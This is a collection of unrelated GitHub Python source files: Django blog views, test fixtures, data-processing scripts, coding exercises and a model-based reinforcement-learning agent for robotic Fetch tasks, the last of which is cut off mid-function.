unique= answer_unique)\n                    post.author = request.user\n                    post.edit_time = timezone.now()\n                    post.body = form.cleaned_data['body']\n                    post.save(update_fields=['author', 'edit_time', 'body'])\n                    object_list = QA.objects.filter(title=query_question,id=query_id)\n                    answer_list = QAnswer.objects.filter(compare_id=query_id)\n                    return HttpResponseRedirect('')\n                elif edit_or_save == \"delete\":\n                    print(request.user,query_id, answer_unique)\n                    post = QAnswer.objects.get(author=request.user, compare_id=query_id, unique= answer_unique)\n                    post.delete()\n                    object_list = QA.objects.filter(title=query_question, id=query_id)\n                    answer_list = QAnswer.objects.filter(compare_id=query_id)\n                    return HttpResponseRedirect('')\n\n                else:\n                    post = form.save(commit=False)\n                    post.author = request.user\n                    post.publish = timezone.now()\n                    post.compare_id = query_id\n                    post.body = form.cleaned_data['body']\n                    form.save()\n\n                    object_list = QA.objects.filter(title=query_question)\n                    answer_list = QAnswer.objects.filter(compare_id=query_id)\n\n                    return HttpResponseRedirect('')\n        else:\n\n            form = DocumentForm()\n\n        object_list = QA.objects.filter(title=query_question)\n        answer_list = QAnswer.objects.filter(compare_id=query_id)\n\n        return render(request, self.template_name,{'object_list': object_list, 'form': form, 'answer_list': answer_list})\n\n\nclass PasswordChangeView(TemplateView):\n    template_name = 'registration/password_change_form.html'\n    def get(self, request, *args, **kwargs):\n        form = PasswordChangeForm(request.user)\n        return render(request, self.template_name, {\n            'form': form\n        })\n    def post(self,request):\n        if request.method == 'POST':\n            form = PasswordChangeForm(request.user, request.POST)\n            if form.is_valid():\n                user = form.save()\n                update_session_auth_hash(request, user)  # Important!\n                messages.success(request, 'Şifreniz başarıyla değiştirildi!')\n                return redirect('password_reset_complete')\n            else:\n                messages.error(request, 'Lütfen hataları düzeltin.')\n        else:\n            form = PasswordChangeForm(request.user)\n        return render(request, self.template_name, {\n            'form': form\n        })\n\n\n\nclass ProfilePageView(TemplateView):\n    template_name = 'registration/profile.html'\n    import glob\n    avatar_list=glob.glob(\"static/img/avatar/*.png\")\n    avatar_list=avatar_list[:-1]\n    # avatar_list=[i[18:] for i in avatar_list]\n    time = timezone.now()\n\n\n    def get(self, request, *args, **kwargs):\n        edit_control = self.request.GET.get('edit')\n        edit_or_save=False\n        if edit_control=='go-edit':\n            edit_or_save=True\n        else:\n            edit_or_save=False\n\n        object_list = Post.objects.filter(author=request.user).order_by('-publish')\n        object_list_document = Document.objects.filter(publisher=request.user).order_by('-publish_date')\n        object_list_qa = QA.objects.filter(author=request.user).order_by('-publish')\n        page = request.GET.get('page', 1)\n        paginator = Paginator(object_list, 10)\n        try:\n            object_list = paginator.page(page)\n        except PageNotAnInteger:\n            object_list = paginator.page(1)\n        except EmptyPage:\n            object_list = paginator.page(paginator.num_pages)\n\n        profile = CustomProfile.objects.filter(user=request.user)\n\n        return render(request, self.template_name, {'edit_or_save':edit_or_save,'profile':profile,'object_list_qa':object_list_qa,'object_list':object_list,'object_list_document':object_list_document,'avatar_list':self.avatar_list})\n\n\n    def post(self, request):\n        if request.method == 'POST':\n            form = ProfileForm(request.POST)\n            print(form.is_valid())\n            if form.is_valid():\n                # post = form.save(commit=False)\n                post=CustomProfile.objects.get(user=request.user)\n                post.first_name = form.cleaned_data['first_name']\n                post.last_name = form.cleaned_data['last_name']\n                post.job = form.cleaned_data['job']\n                post.uni = form.cleaned_data['uni']\n                post.location = form.cleaned_data['location']\n\n                post.talents = form.cleaned_data['talents']\n                post.avatar = form.cleaned_data['avatar']\n                post.save(update_fields=['first_name','last_name','job','uni','location','talents','avatar'])\n                return redirect('profile')\n        else:\n            form = DocumentForm()\n        return redirect('profile')\n\n\nclass AuthorApplyView(TemplateView):\n    template_name = 'blog/author-apply.html'\n    form = AuthorApplyForm()\n    approve_wait=False\n    # <!--{% if request.user|has_group:\"Yazar\" %}-->\n\n    def get(self, request, *args, **kwargs):\n        object = CustomProfile.objects.get(user=request.user)\n        try:\n            author_apply = AuthorApply.objects.get(author=request.user)\n            return render(request, self.template_name, {'post_form': self.form, 'object': object,'author_apply':author_apply})\n        except:\n            return render(request, self.template_name, {'post_form': self.form,'object':object})\n\n    def post(self, request):\n        if request.method == 'POST':\n            form = AuthorApplyForm(request.POST)\n            if form.is_valid():\n                post = form.save(commit=False)\n                post.author = request.user\n                post.apply_date = timezone.now()\n                post.name = form.cleaned_data['name']\n                post.surname = form.cleaned_data['surname']\n                post.job = form.cleaned_data['job']\n                post.job_talents = form.cleaned_data['job_talents']\n                post.rustudent = form.cleaned_data['rustudent']\n                post.text = form.cleaned_data['text']\n                form.save()\n                self.approve_wait=True\n                return render(request, self.template_name, {'approve_wait': self.approve_wait})\n        else:\n            form = DocumentForm()\n        return redirect('homepage')\n\n\nclass SignUpView(TemplateView):\n    template_name = 'registration/signup.html'\n\n\n    def post(self, request, *args, **kwargs):\n        if request.method == 'POST':\n\n            form = SignUpForm(request.POST)\n            if form.is_valid():\n                username = form.cleaned_data.get('username')\n                email = form.cleaned_data.get('email')\n                raw_password = form.cleaned_data.get('password1')\n                success_register=False\n\n                try:\n                    User.objects.get(email=email)\n                    return render(request, self.template_name,\n                                  {'login_error': 'E-Mail adresiniz zaten sistemimizde kayıtlı!'})\n                except:\n                    try:\n                        form.save()\n                        user = authenticate(username=username, password=raw_password)\n                        login(request, user)\n                        username2=User.objects.get(username=username)\n                        CustomProfile.objects.create(user=username2,first_name=username2.first_name,last_name=username2.last_name)\n                        return render(request, self.template_name,\n                                      {'success_register': True})\n\n                    except:\n                        return render(request, self.template_name,\n                                      {'login_error': 'Bilgiler hatalı, lütfen tekrar deneyiniz!'})\n\n\n        else:\n            form = SignUpForm()\n        return render(request, self.template_name, {'form': form})\n\n\nclass LoginView(TemplateView):\n    template_name = \"registration/login.html\"\n\n    def post(self, request, *args, **kwargs):\n        template_name = 'registration/login.html'\n\n        if request.method == 'POST':\n            email = request.POST.get('email')\n            password = request.POST.get('password')\n            UserModel = get_user_model()\n\n            try:\n                username = UserModel.objects.get(email=email)\n                user = authenticate(username=username, password=password)\n                if user:\n                    if user.is_active:\n                        login(request, user)\n                        return redirect('homepage')\n                    else:\n                        return HttpResponse(\"Your account was inactive.\")\n                else:\n                    return render(request, self.template_name,\n                                  {'login_error': 'Bilgiler hatalı, lütfen tekrar deneyiniz!'})\n            except:\n                return render(request, self.template_name,\n                              {'login_error': '%s e-maili ile ilişkili kullanıcı bulunmamaktadır. Önce siteye kayıt olunuz!'%email})\n\n\n\n        else:\n            return render(request, self.template_name, {})\n\n\nclass HomepageView(TemplateView):\n    template_name = \"home.html\"\n    object_list = Post.objects.all().order_by('-publish')[:10]\n    form=DocumentForm()\n    documents = Document.objects.all().order_by('-publish_date')[:10]\n    questions = QA.objects.all().order_by('-publish')[:10]\n    def get(self, request, *args, **kwargs):\n        return render(request,self.template_name,{'object_list':self.object_list,'form':self.form,'document_list':self.documents,'questions':self.questions})\n\n    def get_absolute_url(self):\n        return reverse('blog:post-detail',\n                       kwargs={'year': self.publish.year,\n                               'month': self.publish.strftime('%b'),\n                               'day': self.publish.strftime('%d'),\n                               'slug': self.slug})\n\n\n\n\n","repo_name":"dryalcinmehmet/dataset","sub_path":"source/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":26614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17070420570","text":"#!/usr/bin/python3\r\n\r\n\"\"\"\r\nModule with visualiser of smallest towns in database.\r\n\"\"\"\r\n\r\nfrom sys import maxsize\r\nfrom address_visualisation import Visualiser\r\nfrom address_visualisation.transform_to_feature_collection import feature_collection_from_towns\r\n\r\nclass SmallestTownsVisualiser(Visualiser):\r\n    \"\"\"\r\n    Visualiser which finds towns with least address places in database xml and turns information about them into geojson format.\r\n\r\n    ...\r\n    Methods\r\n    -------\r\n    find()\r\n        Finds towns with most address places in region and returns information about them in list of lists.\r\n    run()\r\n        Calls find method and turns its result to geojson FeatureCollection.\r\n    \"\"\"\r\n    def find(self):\r\n        \"\"\"\r\n        Finds towns with least address places in each region in xml tree and returns information about its location.\r\n\r\n        For each region, it searches through xml tree for towns in region and checks their number of address places.\r\n        If this number is less than minimum of region, method saves information about it into `min_values` on the position of region.\r\n\r\n        Returns\r\n        -------\r\n        type\r\n            list of lists\r\n\r\n        min_values : list of lists\r\n            For each region one array with following information about smallest town in region:\r\n            [number of address places, code of town, name of town, name of region]\r\n\r\n        \"\"\"\r\n        root = self.db_tree.getroot()\r\n\r\n        kraje = root.findall(\".//Kraj\")\r\n        min_values = {kraj.get(\"kod\"): (maxsize, None, None, kraj.find(\"Nazev\").text) for kraj in kraje}\r\n\r\n        obce = {\r\n            obec.get(\"kod\"): (\r\n                int(obec.find(\"PocetAdresnichMist\").text) if obec.find(\"PocetAdresnichMist\") else 0,\r\n                obec.find(\"Nazev\").text,\r\n                obec.get(\"okres\")[0:2]\r\n            ) for obec in root.iter('Obec')\r\n        }\r\n\r\n        for ulice in root.iter(\"Ulice\"):\r\n            kod_obce = ulice.get(\"obec\")\r\n            pocet_adresnich_mist = int(ulice.find(\"PocetAdresnichMist\").text)\r\n            obce[kod_obce] = (obce[kod_obce][0] + pocet_adresnich_mist, obce[kod_obce][1], obce[kod_obce][2])\r\n\r\n        for kod_obce, obec in obce.items():\r\n            pocet_adresnich_mist = obec[0]\r\n            nazev_obce = obec[1]\r\n            kod_kraje = obec[2]\r\n            if pocet_adresnich_mist < min_values[kod_kraje][0]:\r\n                nazev_kraje = min_values[kod_kraje][3]\r\n                min_values[kod_kraje] = (pocet_adresnich_mist, kod_obce, nazev_obce, nazev_kraje)\r\n\r\n        return list(min_values.values())\r\n\r\n    def run(self):\r\n        \"\"\"\r\n        Runs visualiser - gets information about smallest towns and converts it into geojson FeatureCollection.\r\n\r\n        Calls find method for getting required information in list of lists and converts it into geojson FeatureCollection.\r\n\r\n        Returns\r\n        -------\r\n        geojson.FeatureCollection\r\n            FeatureCollection containing Polygons of smallest towns\r\n        \"\"\"\r\n        data = self.find()\r\n        return feature_collection_from_towns(data, self.db_tree, 'Smallest towns in region')\r\n","repo_name":"lachtanek/pb138-address-visualisation","sub_path":"address_visualisation/visualisers/smallest_towns.py","file_name":"smallest_towns.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"33033372931","text":"import os\nimport json\nfrom io import StringIO\nfrom pylint.lint import Run\nfrom pylint.reporters.text import TextReporter\n\nfrom service import settings\n\n\ndef pylint_code(file):\n    output = StringIO()\n    reporter = TextReporter(output)\n    Run([file], reporter=reporter, do_exit=False)\n\n    logs = output.getvalue()\n    lines = logs.splitlines()\n    return lines\n\n\ndef has_data_json(data):\n    with open(\"logs.json\", encoding='utf8') as f:\n        if not os.path.getsize(\"logs.json\") > 0:\n            save_data_json([data])\n\n        else:\n            datas = json.load(f)\n            datas.append(data)\n            save_data_json(datas)\n\n\ndef save_data_json(data):\n    with open(\"logs.json\", \"w\", encoding='utf8') as json_file:\n        json.dump(data, json_file, indent=4, ensure_ascii=False)\n","repo_name":"Alexmdvdv/StorageHub","sub_path":"service/operation/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"69825909861","text":"# [Do it! 실습 2-9] 1,000 이하의 소수를 나열하기(알고리즘 개선 1)\n\ncounter = 0           # 나눗셈 횟수\nptr = 0               # 이미 찾은 소수의 개수\nprime = [None] * 500  # 소수를 저장하는 배열\n\nprime[ptr] = 2        # 2는 소수이므로 초깃값으로 지정\nptr += 1\n\nfor n in range(3, 1001, 2):  # 홀수만을 대상으로 설정\n    for i in range(1, ptr):  # 이미 찾은 소수로 나눔\n        counter += 1\n        if n % prime[i] == 0:  # 나누어 떨어지면 소수가 아님\n            break              # 반복 중단\n    else:                      # 끝까지 나누어 떨어지지 않았다면\n        prime[ptr] = n         # 소수로 배열에 등록\n        ptr += 1\n\nfor i in range(ptr):  # ptr의 소수를 출력\n    print(prime[i])\nprint(f'나눗셈을 실행한 횟수: {counter}')","repo_name":"easysIT/doit_dsalgo_with_python","sub_path":"chap02/prime2.py","file_name":"prime2.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"ko","doc_type":"code","stars":50,"dataset":"github-code","pt":"35"}
{"seq_id":"27915938446","text":"import pytest\n\nfrom elyra.metadata.manager import MetadataManager\nfrom elyra.metadata.schema import METADATA_TEST_SCHEMASPACE\nfrom elyra.metadata.schema import SchemaManager\nfrom elyra.tests.metadata.test_utils import another_metadata_json\nfrom elyra.tests.metadata.test_utils import byo_metadata_json\nfrom elyra.tests.metadata.test_utils import create_instance\nfrom elyra.tests.metadata.test_utils import create_json_file\nfrom elyra.tests.metadata.test_utils import invalid_json\nfrom elyra.tests.metadata.test_utils import invalid_metadata_json\nfrom elyra.tests.metadata.test_utils import invalid_schema_name_json\nfrom elyra.tests.metadata.test_utils import valid_metadata_json\n\n\ndef mkdir(tmp_path, *parts):\n    path = tmp_path.joinpath(*parts)\n    if not path.exists():\n        path.mkdir(parents=True)\n    return path\n\n\n# These location fixtures will need to be revisited once we support multiple metadata storage types.\nschemaspace_location = pytest.fixture(lambda jp_data_dir: mkdir(jp_data_dir, \"metadata\", METADATA_TEST_SCHEMASPACE))\nbogus_location = pytest.fixture(lambda jp_data_dir: mkdir(jp_data_dir, \"metadata\", \"bogus\"))\nshared_location = pytest.fixture(\n    lambda jp_system_jupyter_path: mkdir(jp_system_jupyter_path, \"metadata\", METADATA_TEST_SCHEMASPACE)\n)\nfactory_location = pytest.fixture(\n    lambda jp_env_jupyter_path: mkdir(jp_env_jupyter_path, \"metadata\", METADATA_TEST_SCHEMASPACE)\n)\n\n\n@pytest.fixture\ndef setup_data(schemaspace_location):\n    create_json_file(schemaspace_location, \"valid.json\", valid_metadata_json)\n    create_json_file(schemaspace_location, \"another.json\", another_metadata_json)\n    create_json_file(schemaspace_location, \"invalid.json\", invalid_metadata_json)\n\n\n@pytest.fixture\ndef setup_hierarchy(jp_environ, factory_location):\n    # Only populate factory info\n    byo_instance = byo_metadata_json\n    byo_instance[\"display_name\"] = \"factory\"\n    create_json_file(factory_location, \"byo_1.json\", byo_instance)\n    create_json_file(factory_location, \"byo_2.json\", byo_instance)\n    create_json_file(factory_location, \"byo_3.json\", byo_instance)\n\n\n@pytest.fixture\ndef store_manager(tests_manager):\n    return tests_manager.metadata_store\n\n\n@pytest.fixture(\n    params=[\"elyra.metadata.storage.FileMetadataStore\", \"elyra.tests.metadata.test_utils.MockMetadataStore\"]\n)  # Add types as needed\ndef tests_manager(jp_environ, schemaspace_location, request):\n    metadata_mgr = MetadataManager(schemaspace=METADATA_TEST_SCHEMASPACE, metadata_store_class=request.param)\n    store_mgr = metadata_mgr.metadata_store\n    create_instance(store_mgr, schemaspace_location, \"valid\", valid_metadata_json)\n    create_instance(store_mgr, schemaspace_location, \"another\", another_metadata_json)\n    create_instance(store_mgr, schemaspace_location, \"invalid\", invalid_metadata_json)\n    create_instance(store_mgr, schemaspace_location, \"bad\", invalid_json)\n    create_instance(store_mgr, schemaspace_location, \"invalid_schema_name\", invalid_schema_name_json)\n    return metadata_mgr\n\n\n@pytest.fixture\ndef tests_hierarchy_manager(setup_hierarchy):  # Only uses FileMetadataStore for storage right now.\n    return MetadataManager(schemaspace=METADATA_TEST_SCHEMASPACE)\n\n\n@pytest.fixture\ndef schema_manager():\n    schema_manager = SchemaManager.instance()\n    yield schema_manager\n    SchemaManager.clear_instance()\n\n\n# Set Elyra server extension as enabled (overriding server_config fixture from jupyter_server)\n@pytest.fixture\ndef jp_server_config():\n    return {\"ServerApp\": {\"jpserver_extensions\": {\"elyra\": True}}}\n","repo_name":"elyra-ai/elyra","sub_path":"elyra/tests/metadata/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","stars":1696,"dataset":"github-code","pt":"35"}
{"seq_id":"74858457060","text":"from pickle import dumps, loads\nimport pandas as pd\n\nfrom pandas_paddles import DF, S\n\n\ndef test_can_be_pickled():\n    # This should not raise an error.\n    dumps(DF)\n\ndef test_unpickled_instance_works_again():\n    df = pd.DataFrame({'x': range(5, 10)})\n    sel1 = DF['x'] < 7\n    a = df.loc[sel1]\n    sel2 = loads(dumps(sel1))\n    b = df[sel2]\n    pd.testing.assert_frame_equal(a, b)\n","repo_name":"eikevons/pandas-paddles","sub_path":"tests/test_pickleable.py","file_name":"test_pickleable.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"23902544563","text":"__all__ = [ \"action\",\n            \"add_action\",\n            \"clean_action\",\n            \"clone_action\",\n            \"config_action\",\n            \"download_action\",\n            \"filters_action\",\n            \"import_action\",\n            \"init_action\",\n            \"list_action\",\n            \"move_action\",\n            \"pull_action\",\n            \"push_action\",\n            \"request_action\",\n            \"rm_action\",\n            \"status_action\",\n            \"reference_action\"\n          ]\n","repo_name":"Lingotek/filesystem-connector","sub_path":"python2/ltk/actions/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"35"}
{"seq_id":"9461096524","text":"from scipy import io as sio\r\nimport numpy as np\r\n\r\n\r\ndef load_data():\r\n    mat = sio.loadmat(r'C:\\Users\\Luke Hollingsworth\\Documents\\Other\\Python Scripts\\SamAssisstant\\data\\matlab\\emnist-letters.mat')\r\n    data = mat['dataset']\r\n\r\n    training_images = data['train'][0,0]['images'][0,0]\r\n    training_labels = data['train'][0,0]['labels'][0,0]\r\n    test_images = data['test'][0,0]['images'][0,0]\r\n    test_labels = data['test'][0,0]['labels'][0,0]\r\n\r\n    validation_start = training_images.shape[0] - test_images.shape[0]\r\n    validation_images = training_images[validation_start:training_images.shape[0],:]\r\n    validation_labels = training_labels[validation_start:training_images.shape[0]]\r\n\r\n    training_images = training_images[0:validation_start, :]\r\n    training_labels = training_labels[0:validation_start]\r\n    \r\n    return (training_images, training_labels, validation_images, validation_labels, test_images, test_labels)\r\n\r\ndef load_data_wrapper():\r\n    tr_i, tr_l, va_i, va_l, te_i, te_l = load_data()\r\n    training_inputs = [np.reshape(np.array(tr_i), (784,1))]\r\n    training_results = [vectorized_result(y) for y in tr_l[1]]\r\n    training_data = zip(training_inputs, training_results)\r\n    validation_inputs = [np.reshape(np.array(va_i), (784,1))]\r\n    validation_data = zip(validation_inputs, va_l[1])\r\n    test_inputs = [np.reshape(np.array(te_i), (784,1))]\r\n    test_data = zip(test_inputs, te_l[1])\r\n    return (training_data, validation_data, test_data)\r\n\r\ndef vectorized_result(j):\r\n    e = np.zeros((26, 1))\r\n    e[j] = 1.0\r\n    return e","repo_name":"LukeHollingsworth/HandwrittenDigitClassification","sub_path":"emnist_loader.py","file_name":"emnist_loader.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12595683181","text":"\"\"\"\n시작 시간: 2022-10-20 06:05 AM\n소요 시간: 40분\n풀이 방법: 0부터 9까지 각 개수를 저장하는 배열 재활용. 리턴 전 모듈러 연산 주의!\n\"\"\"\nn = int(input())\ncache = [1]*10\ncache[0] = 0\n\nfor _ in range(n-1):\n    new_cache = [0] * 10\n    new_cache[0] = cache[1]\n    new_cache[9] = cache[8]\n    for i in range(1, 9):\n        new_cache[i] = (cache[i-1]+cache[i+1])%1000000000\n    cache = new_cache\nans = 0\nfor element in cache:\n    ans += element\n    ans %= 1000000000\nprint(ans)\n","repo_name":"yuna1212/algorithm","sub_path":"백준/다이나믹프로그래밍/쉬운 계단 수.py","file_name":"쉬운 계단 수.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"40786312901","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport json\n\nDIR = \"resources\"\nPATH = os.path.join(os.path.dirname(__file__), DIR)\n\n\nclass Colors(dict):\n    \"\"\"docstring for Colors.\"\"\"\n    def __init__(self):\n        super(Colors, self).__init__()\n        for filename in os.listdir(PATH):\n            if filename.endswith(\".json\"):\n                fname, ext = os.path.splitext(filename)\n                with open(os.fsencode(os.path.join(PATH, filename))) as source:\n                    self[fname] = json.load(source)\n\n\ncolors = Colors()\n","repo_name":"manuelep/mptools","sub_path":"src/mptools/color/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"28262119438","text":"import pandas as pd\n\ntrain = pd.read_csv(\"data/train_v2.csv\")\ntest = pd.read_csv(\"data/test_v2.csv\")\n\n\ndef layout2rooms(text):\n    if type(text) is float:\n        return None\n    if text in [\"オープンフロア\", \"スタジオ\", \"メゾネット\"]:\n        return None\n    x = text.translate(str.maketrans({chr(0xFF01 + i): chr(0x21 + i) for i in range(94)})).replace(\"+\", \"\")\n    str2room = {\"R\": 0, \"K\": 0, \"D\": 1, \"L\": 0.5, \"S\": 1}\n    return int(x[0]) + sum([str2room[c] for c in x[1:]])\n\n\ntrain[\"rooms\"] = train[\"layout\"].apply(layout2rooms)\ntest[\"rooms\"] = test[\"layout\"].apply(layout2rooms)\n\ntrain[\"building_area\"] = train[\"area\"] * train[\"coverage_ratio\"] / 100\ntrain[\"total_floor_area\"] = train[\"area\"] * train[\"floor_ratio\"] / 100\ntrain[\"floors\"] = train[\"total_floor_area\"] / train[\"building_area\"]\ntrain[\"room_size\"] = train[\"total_floor_area\"] / train[\"rooms\"]\n\ntest[\"building_area\"] = test[\"area\"] * test[\"coverage_ratio\"] / 100\ntest[\"total_floor_area\"] = test[\"area\"] * test[\"floor_ratio\"] / 100\ntest[\"floors\"] = test[\"total_floor_area\"] / test[\"building_area\"]\ntest[\"room_size\"] = test[\"total_floor_area\"] / test[\"rooms\"]\n\n\ndef note_multihot(x, key):\n    if type(x) == float:\n        return 0\n    if key in x.split(\"、\"):\n        return 1\n    return 0\n\n\nkeys = [\"関係者間取引\", \"調停・競売等\", \"その他事情有り\", \"瑕疵有りの可能性\", \"他の権利・負担付き\"]\n\nfor key in keys:\n    train[key] = train[\"structure\"].apply(note_multihot, key=key)\n    test[key] = test[\"structure\"].apply(note_multihot, key=key)\n\n\ntrain.to_csv(\"data/train_v3.csv\", index=False)\ntest.to_csv(\"data/test_v3.csv\", index=False)\n","repo_name":"habroptilus/ds-monorepo","sub_path":"projects/house_price/process_v3.py","file_name":"process_v3.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"70304149804","text":"# count é um iterador sem fim (itertools)\n# (não fala quando acaba igual no range)\n\nfrom itertools import count\n\nc1 = count()\nprint(next(c1))\nprint(next(c1))\n\nfor i in c1:\n    if i > 100:\n        break\n    print(i)","repo_name":"LiiLisz/Curso-Python","sub_path":"aulas/count.py","file_name":"count.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"12299003248","text":"import warnings\nimport torch\nimport numpy as np\nimport copy\n\nfrom odium.agents.fetch_agents.normalizer import FeatureNormalizer\nfrom odium.agents.fetch_agents.approximators import StateValueResidual, get_state_value_residual, Dynamics, get_next_observation\nfrom odium.agents.fetch_agents.memory import rts_memory\nfrom odium.agents.fetch_agents.sampler import rts_sampler\n\nimport odium.utils.logger as logger\nfrom odium.utils.simple_utils import multi_append, convert_to_list_of_np_arrays\nfrom odium.utils.agent_utils.save_load_agent import save_agent, load_agent\n\n\nclass fetch_mbpo_agent:\n    def __init__(self, args, env_params, env, controller):\n        # Save arguments\n        self.args, self.env_params = args, env_params\n        self.env, self.controller = env, controller\n\n        # Sampler\n        self.sampler = rts_sampler(args,\n                                   env.compute_reward,\n                                   controller.heuristic_obs_g,\n                                   env.extract_features)\n\n        # Memory\n        self.memory = rts_memory(args,\n                                 env_params,\n                                 self.sampler)\n\n        # Approximators\n        self.state_value_residual = StateValueResidual(env_params)\n        self.state_value_target_residual = StateValueResidual(env_params)\n        self.state_value_target_residual.load_state_dict(\n            self.state_value_residual.state_dict())\n\n        self.learned_model_dynamics = Dynamics(env_params)\n        # Configure controller dynamics residual\n        self.controller.reconfigure_learned_model_dynamics(lambda obs, ac: get_next_observation(\n            obs,\n            ac,\n            self.preproc_dynamics_inputs,\n            self.learned_model_dynamics))\n\n        # Optimizers\n        # Initialize all optimizers\n        # STATE VALUE RESIDUAL\n        self.state_value_residual_optim = torch.optim.Adam(\n            self.state_value_residual.parameters(),\n            lr=args.lr_value_residual,\n            weight_decay=args.l2_reg_value_residual)\n        # DYNAMICS\n        self.learned_model_dynamics_optim = torch.optim.Adam(\n            self.learned_model_dynamics.parameters(),\n            lr=args.lr_dynamics,\n            weight_decay=args.l2_reg_dynamics)\n\n        # Normalizers\n        # Initialize all normalizers\n        # FEATURES\n        self.features_normalizer = FeatureNormalizer(env_params)\n\n    def collect_internal_model_trajectories(self,\n                                            num_rollouts,\n                                            rollout_length,\n                                            initial_observations=None):\n        n_steps = 0\n        mb_obs, mb_ag, mb_g, mb_actions, mb_heuristic = [], [], [], [], []\n        mb_reward, mb_features = [], []\n        # Start rollouts\n        for n in range(num_rollouts):\n            # Set initial state\n            if initial_observations is not None:\n                observation = copy.deepcopy(initial_observations[n])\n            else:\n                observation = self.env.get_obs()\n            # Data structures\n            r_obs, r_ag, r_g, r_actions, r_heuristic = [], [], [], [], []\n            r_reward, r_features = [], []\n            # Start\n            obs = observation['observation']\n            ag = observation['achieved_goal']\n            g = observation['desired_goal']\n            features = self.env.extract_features(obs, g)\n            heuristic = self.controller.heuristic_obs_g(obs, g)\n            for _ in range(rollout_length):\n                ac, _ = self.controller.act(observation)\n                ac_ind = self.env.discrete_actions[tuple(ac)]\n                # Get the next observation and reward using the learned model\n                observation_new = get_next_observation(\n                    observation,\n                    ac,\n                    self.preproc_dynamics_inputs,\n                    self.learned_model_dynamics)\n                rew = self.env.compute_reward(observation_new['achieved_goal'],\n                                              observation_new['desired_goal'], {})\n                n_steps += 1\n                # Add to data structures\n                multi_append([r_obs, r_ag, r_g, r_actions, r_heuristic, r_reward, r_features],\n                             [obs.copy(), ag.copy(), g.copy(), ac_ind, heuristic, rew,\n                              features.copy()])\n                # Move to next step\n                observation = copy.deepcopy(observation_new)\n                obs = observation['observation']\n                ag = observation['achieved_goal']\n                g = observation['desired_goal']\n                features = self.env.extract_features(obs, g)\n                heuristic = self.controller.heuristic_obs_g(obs, g)\n            multi_append([r_obs, r_ag, r_heuristic, r_features],\n                         [obs.copy(), ag.copy(), heuristic, features.copy()])\n            multi_append([mb_obs, mb_ag, mb_g, mb_actions, mb_heuristic,\n                          mb_reward, mb_features],\n                         [r_obs, r_ag, r_g, r_actions, r_heuristic,\n                          r_reward, r_features])\n\n        mb_obs, mb_ag, mb_g, mb_actions, mb_heuristic, mb_reward, mb_features = convert_to_list_of_np_arrays(\n            [mb_obs, mb_ag, mb_g, mb_actions, mb_heuristic,\n             mb_reward, mb_features]\n        )\n        # Store in memory\n        self.memory.store_internal_model_rollout([mb_obs, mb_ag, mb_g,\n                                                  mb_actions, mb_heuristic, mb_reward,\n                                                  mb_features], sim=False)\n        # Update normalizer\n        self._update_normalizer([mb_obs, mb_ag, mb_g,\n                                 mb_actions, mb_heuristic, mb_reward,\n                                 mb_features])\n\n        return n_steps\n\n    def _update_normalizer(self, batch):\n        obs, ag, g, actions, heuristic, r, features = batch\n        obs_next = obs[:, 1:, :]\n        ag_next = ag[:, 1:, :]\n        heuristic_next = heuristic[:, 1:]\n        num_transitions = actions.shape[1]\n        buffer_temp = {'obs': obs, 'ag': ag, 'g': g, 'actions': actions, 'heuristic': heuristic, 'r': r,\n                       'features': features, 'obs_next': obs_next, 'ag_next': ag_next, 'heuristic_next': heuristic_next}\n        transitions = self.sampler.sample(buffer_temp, num_transitions)\n        self.features_normalizer.update(transitions['features'])\n        self.features_normalizer.recompute_stats()\n        return True\n\n    def learn_offline_in_model(self):\n        if not self.args.offline:\n            warnings.warn('SHOULD NOT BE USED ONLINE')\n\n        best_success_rate = 0.0\n        n_steps = 0\n        for epoch in range(self.args.n_epochs):\n            # Reset the environment\n            observation = self.env.reset()\n            obs = observation['observation']\n            g = observation['desired_goal']\n            for _ in range(self.env_params['offline_max_timesteps']):\n                # Get action\n                ac, info = self.controller.act(observation)\n                ac_ind = self.env.discrete_actions[tuple(ac)]\n                # Get the next observation and reward from the environment\n                observation_new, rew, _, _ = self.env.step(ac)\n                n_steps += 1\n                obs_new = observation_new['observation']\n                # Store the transition in memory\n                self.memory.store_real_world_transition(\n                    [obs, g, ac_ind, obs_new], sim=False)\n                observation = copy.deepcopy(observation_new)\n                obs = obs_new.copy()\n\n            # Update state value residual from model rollouts\n            transitions = self.memory.sample_real_world_memory(\n                batch_size=self.args.n_cycles)\n            losses = []\n            model_losses = []\n            for i in range(self.args.n_cycles):\n                observation = {}\n                observation['observation'] = transitions['obs'][i].copy()\n                observation['achieved_goal'] = transitions['obs'][i][:3].copy()\n                observation['desired_goal'] = transitions['g'][i].copy()\n                # Collect model rollouts\n\n                self.collect_internal_model_trajectories(num_rollouts=1,\n                                                         rollout_length=self.env_params[\n                                                             'offline_max_timesteps'],\n                                                         initial_observations=[observation])\n                # Update state value residuals\n                for _ in range(self.args.n_batches):\n                    state_value_residual_loss = self._update_state_value_residual().item()\n                    losses.append(state_value_residual_loss)\n                